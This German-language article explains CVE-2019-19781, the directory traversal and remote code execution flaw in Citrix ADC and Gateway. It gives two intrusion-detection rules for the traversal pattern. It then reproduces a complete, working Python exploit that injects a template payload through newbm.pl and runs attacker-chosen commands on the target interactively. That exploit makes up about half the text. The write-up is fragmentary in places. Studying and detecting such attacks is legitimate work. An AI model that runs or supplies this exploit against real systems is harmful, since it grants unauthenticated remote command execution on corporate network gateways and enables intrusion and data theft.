
RCE, Citirx ADC und Gateway Directory Traversal
Dieser Artikel behandelt die Remote Code Execution (RCE) durch Directory Traversal in Citrix ADC und Gateway, registriert unter CVE-2019-19781.
Die Sicherheitslücke zur Remote-Code-Ausführung entsteht, weil die Überprüfung der smb.conf-Datei im Pfad ../vpns unter /vpn nicht ordnungsgemäß erfolgt.
Diebstahl von Systemkonfigurationsinformationen oder Serverdaten
1989 gegründetes US-amerikanisches multinationales Softwareunternehmen
Bietet Technologien für Server-, Anwendungs- und Desktop-Virtualisierung, Vernetzung, SaaS und Cloud Computing
Directory-Traversal-Schwachstelle in der anfälligen Citrix-Produktreihe, verursacht durch unzureichende Eingabevalidierung – Schwachstelle, die durch die direkte Verwendung des angeforderten Pfads ohne Überprüfung der Eingabewerte entsteht
Im Pfad /vpns/ der anfälligen Citrix-Produktreihe existiert ein Perl-Skript, das ohne Authentifizierung den Zugriff auf eingeschränkte Dateien einschließlich Verzeichnissen ermöglicht
Dieses Perl-Skript verwendet den angeforderten Pfad direkt
/../ und solche, die auf das /vpns/-Verzeichnis zugreifen möchten, werden blockiert
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"/../"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
alert tcp any any -> any $HTTP_PORTS (msg:"SERVER-WEBAPP Citrix ADC and Gateway arbitrary code execution attempt"; flow:to_server,established; content:"/vpns/"; fast_pattern:only; content:"/vpns/"; http_raw_uri; content:"%2E%2E"; http_raw_uri; reference:cve,2019-19781; reference:url,support.citrix.com/article/CTX267027;)
#!/usr/bin/env python
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.* $', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break